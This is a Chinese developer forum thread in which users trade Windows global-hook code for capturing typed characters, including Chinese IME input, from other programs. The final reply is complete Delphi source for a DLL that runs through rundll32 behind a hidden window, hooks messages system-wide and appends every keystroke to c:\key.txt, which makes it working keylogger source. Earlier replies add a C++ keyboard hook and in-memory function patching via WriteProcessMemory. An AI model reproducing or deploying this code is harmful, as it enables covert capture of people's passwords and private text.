#include <windows.h>#define EXPORT extern __declspec(dllexport)
#define UM_KBHOOK (WM_USER+678)#pragma data_seg("KShared") HWND g_hWndMain = NULL ; 
HHOOK g_hHook = NULL ; 
HINSTANCE g_hInstance = NULL ; #pragma data_seg() 
#pragma comment( linker, "/section:KShared,rws" )extern BOOL APIENTRY DllMain( HINSTANCE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
 )
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH :
g_hInstance = hModule ;
break ;
case DLL_THREAD_ATTACH :
break ;
case DLL_THREAD_DETACH : ;
break ;
case DLL_PROCESS_DETACH :
break ;
}    return TRUE;
}LRESULT CALLBACK KBProc( int nCode, WPARAM wParam, LPARAM lParam )
{
if( nCode>=0 )
{
PostMessage( g_hWndMain, UM_KBHOOK, wParam, 0 ) ;
}
return CallNextHookEx( g_hHook, nCode, wParam, lParam ) ;
}EXPORT int InitKBHookDll( HWND hwndMainWindow )
{
g_hWndMain = hwndMainWindow ;
return 0 ;
}EXPORT int InstallFilter( BOOL InstallOrUninstall )
{
   if( TRUE == InstallOrUninstall )
{
g_hHook = SetWindowsHookEx( WH_KEYBOARD, (HOOKPROC)(FARPROC)KBProc , g_hInstance, 0 ) ;
}
else if( FALSE == InstallOrUninstall )
UnhookWindowsHookEx( g_hHook ) ;
return 0 ;
}

解决方案 »

  1.   

    Jim_Hu:
         
        我的目的很明确,是要处理WM_CHAR和WM_IME_CHAR
        WH_KEYBOARD只能处理WM_KEYDOWN/UP
        我问题中的连接里面有一部分代码。
        谢谢你。
      

  2.   

    不要用键盘钩子,用日志钩子。
    SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0); 
    下面就看你的了。
      

  3.   

    kkk16:
        老兄,看我的?怎么看啊?
        日志钩子怎么处理WM_IME_CHAR啊???
        我要是知道就不问了:(
        :~(
      

  4.   

    http://www.csdn.net/expert/TopicView.asp?id=151236还有300分,等着你去拿,谁能给我可行性的办法啊??
      

  5.   

    http://www.csdn.net/expert/TopicView.asp?id=151269
    http://www.csdn.net/expert/TopicView.asp?id=151236
    http://www.csdn.net/expert/TopicView.asp?id=150776
    http://www.csdn.net/expert/TopicView.asp?id=152341四个帖子,都是关于全局钩子截获WM_CHAR和WM_IME_CHAR消息的问题
    我这的有个存在问题的代码
    http://toilet.533.net/spy.zip
    该钩子只能钩自身的WM_CHAR二无法钩到WM_IME_CHAR
    希望你能在了解上面四个帖子、看了spy.zip代码之后给我提供一些帮助,谢谢
      

  6.   


    目前全局钩子成功钩到了WM_CHAR和WM_IME_CHAR
    但输出到record.txt文件里的汉字是乱码。请大家看http://toilet.533.net/spy.zip的源代码。另外不能截获Richedit20a的WM_IME_CHAR
    好象对RichEdit20A输入汉字根本无WM_IME_CHAR消息产生(我不用钩子,在RichEdit20a的程序里直接处理该消息也是得不到)help me!!!!!!!!!!!
      

  7.   

    我这里有两个函数,是用来勾住DLL中函数的,你可以参照一下,只要把函数名换一下即可。bool HookFunc (BYTE* pbCodeBuffer, DWORD& dwBufLen)
    {
    // ole libraries probably have been initialized, just get the handle
    HMODULE hModule = GetModuleHandle (_T ("ds_avc.dll"));
    if (hModule == NULL)
    {
    hModule = LoadLibrary (_T ("ds_avc.dll"));
    } // get address of the original CLSIDFromProgID
    PVOID pfnOrg = (PVOID) GetProcAddress (hModule, "AvcCmdSetStreamState"); HANDLE hProcess = GetCurrentProcess (); DWORD dwRead = 0; // calculate offset from the original procedure to our;
    // it doesn't matter the base address of our DLL, since "CPU" jumps always forward;
    // notice dwJmpInstructionLen - the offset is calculated from next instruction
    DWORD dwHookOffest = (DWORD)FuncProc - 
    ((DWORD) pfnOrg + 5);//dwJmpInstructionLen); if (!ReadProcessMemory (hProcess, 
    pfnOrg, 
    pbCodeBuffer,
    dwJmpInstructionLen,
    &dwRead))
    {
    // should be zero in this case
    dwBufLen = 0;
    return false;
    } // will be used to restore the original code during UnHook
    dwBufLen = dwRead; DWORD dwWritten = 0;

    // write the jmp instruction. NT will perform copy-on-write, therefore no
    // process will be affected by the change if (!WriteProcessMemory (hProcess, 
     pfnOrg, // write at start of CLSIDFromProgID
     (LPVOID) &bJmpCode, // jmp code 0xE9
     sizeof (bJmpCode), 
     &dwWritten) && dwWritten != 0)
    {
    return false;
    } dwWritten = 0;
    // write the offset to CLSIDProgIDProc
    return (WriteProcessMemory (hProcess, 
        (LPVOID)((DWORD) pfnOrg + 1),   // from the next byte
    &dwHookOffest,    // offset calculated before
    sizeof (DWORD), &dwWritten) && 
    dwWritten != 0);
    }bool HookFunc2 (BYTE* pbCodeBuffer, DWORD& dwBufLen)
    {
    // ole libraries probably have been initialized, just get the handle
    HMODULE hModule = GetModuleHandle (_T ("ds_avc.dll"));
    if (hModule == NULL)
    {
    hModule = LoadLibrary (_T ("ds_avc.dll"));
    } // get address of the original CLSIDFromProgID
    PVOID pfnOrg = (PVOID) GetProcAddress (hModule, "AvcCmdGetVideoInputLumaSatGainThresh"); HANDLE hProcess = GetCurrentProcess (); DWORD dwRead = 0; // calculate offset from the original procedure to our;
    // it doesn't matter the base address of our DLL, since "CPU" jumps always forward;
    // notice dwJmpInstructionLen - the offset is calculated from next instruction
    DWORD dwHookOffest = (DWORD)FuncProc2 - 
    ((DWORD) pfnOrg + 5);//dwJmpInstructionLen); if (!ReadProcessMemory (hProcess, 
    pfnOrg, 
    pbCodeBuffer,
    dwJmpInstructionLen,
    &dwRead))
    {
    // should be zero in this case
    dwBufLen = 0;
    return false;
    } // will be used to restore the original code during UnHook
    dwBufLen = dwRead; DWORD dwWritten = 0;

    // write the jmp instruction. NT will perform copy-on-write, therefore no
    // process will be affected by the change if (!WriteProcessMemory (hProcess, 
     pfnOrg, // write at start of CLSIDFromProgID
     (LPVOID) &bJmpCode, // jmp code 0xE9
     sizeof (bJmpCode), 
     &dwWritten) && dwWritten != 0)
    {
    return false;
    } dwWritten = 0;
    // write the offset to CLSIDProgIDProc
    return (WriteProcessMemory (hProcess, 
        (LPVOID)((DWORD) pfnOrg + 1),   // from the next byte
    &dwHookOffest,    // offset calculated before
    sizeof (DWORD), &dwWritten) && 
    dwWritten != 0);
    }
    // restore the previously saved code
    void UnHookFunc (BYTE* pbCodeBuffer, DWORD  dwBufLen)
    {
    HMODULE hModule = GetModuleHandle (_T ("ds_avc.dll"));
    if (hModule != NULL)
    {
    // the ole32.DLL must be in memory
    // get address of the original CLSIDFromProgID
    PVOID pfnOrg = (PVOID) GetProcAddress (hModule, "AvcCmdSetStreamState");

    HANDLE hProcess = GetCurrentProcess (); DWORD dwWritten = 0;
    WriteProcessMemory (hProcess,
    pfnOrg, 
    pbCodeBuffer, 
    dwBufLen,
    &dwWritten); }
    }//-----------------------------------------------------------------------------------//
    // the actual hook code
    //-----------------------------------------------------------------------------------//UINT  _cdecl FuncProc (PVOID,PVOID, UINT state,UINT options)
    {

    TRACE("state options :0x%x,0x%x\n",state,options); return options;
    }
    UINT  _cdecl FuncProc2 (PVOID, UINT *gain)
    {

    TRACE("FuncProc2\n");
    *gain = 0; return 0;
    }
      

  8.   

    兄弟,我用Delphi做了一个全局钩子,钩住WH_GetMessage和WH_CallWinProc能将WM_CHAR和WM_IME_CHAR截获,英文汉字都行,运行方法为rundll32 myhost.dll,run,结果记录来文件key.txt中,但只能记edit控件中的,在richedit控件中有一些问题,欢迎大家同我讨论这个问题,我的qico:10772919,e-mail:[email protected],主页hotsky.363.net
    library myhost;uses windows,messages,sysutils,tlhelp32;{$r *.res}const  HookMemFileName='HookMemFile.DTA';type
      PShared=^TShared;
      PWin=^TWin;
      TShared = record
        HHGetMsgProc:HHook;
        HHCallWndProc:HHook;
        hInstance:integer;
      end;
      TWin = record
        Msg:TMsg;
        wClass:TWndClass;
        hMain:integer;
      end;
    var
      MemFile:THandle;
      Shared:PShared;
      Win:TWin;procedure SaveInfo(str:string);stdcall;
    var
      f:textfile;
    begin
      assignfile(f,'c:\key.txt');
      if fileexists('c:\key.txt')=false then rewrite(f)
      else append(f);
      writeln(f,str);
      closefile(f);
    end;procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
    begin
      if (uMessage=WM_CHAR) and (lParam<>1) then
      begin
        saveinfo(format('%s',[chr(wparam and $ff)]));
      end;
      if (uMessage=WM_IME_CHAR) then
      begin
        saveinfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
      end;
    end;function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
    var
      pcs:PMSG;
      hd,uMsg,wP,lP:integer;
    begin
      pcs:=PMSG(lParam);
      if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
      begin
        hd:=pcs^.hwnd;
        uMsg:=pcs^.message;
        wp:=pcs^.wParam;
        lp:=pcs^.lParam;
        HookProc(hd,uMsg,wp,lp);
      end;
      Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);end;function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
    var
      pcs:PCWPSTRUCT;
      hd,uMsg,wP,lP:integer;
    begin
      pcs:=PCWPSTRUCT(lParam);
      if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
      begin
        hd:=pcs^.hwnd;
        uMsg:=pcs^.message;
        wp:=pcs^.wParam;
        lp:=pcs^.lParam;
        HookProc(hd,uMsg,wp,lp);
      end;
      Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
    end;procedure SetHook(fSet:boolean);
    begin
      with shared^ do
      if fSet=true then
      begin
        if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
        if HHCallWndProc=0 then
        begin
          HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
          if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
        end;
      end else
      begin
        if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
        if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
        HHGetMsgProc:=0;
        HHCallWndProc:=0;
      end;
    end;procedure Extro;
    begin
      UnmapViewOfFile(Shared);
      CloseHandle(MemFile);
    end;
    function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
    begin
      Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
      case Msg of
      wm_quit:
        begin
          SetHook(False);
          halt;
        end;
      end;
    end;procedure run;stdcall;
    begin
      win.wClass.lpfnWndProc:=   @WindowProc;
      win.wClass.hInstance:=     hInstance;
      win.wClass.lpszClassName:='MyHost';
      RegisterClass(win.wClass);
      win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'MyHost',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
      FillChar(Shared^,SizeOf(TShared),0);
      Shared^.hInstance:=hInstance;
      SetHook(true);
      while(GetMessage(win.Msg,win.hmain,0,0))do
      begin
        TranslateMessage(win.Msg);
        DispatchMessage(win.Msg);
      end;
    end;procedure DllEntryPoint(fdwReason:DWORD);
    begin
      case fdwReason of
      DLL_PROCESS_DETACH:
        Extro;
      end;
    end;exports run;begin
      MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
      Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
      DLLProc:=@DllEntryPoint;
    end.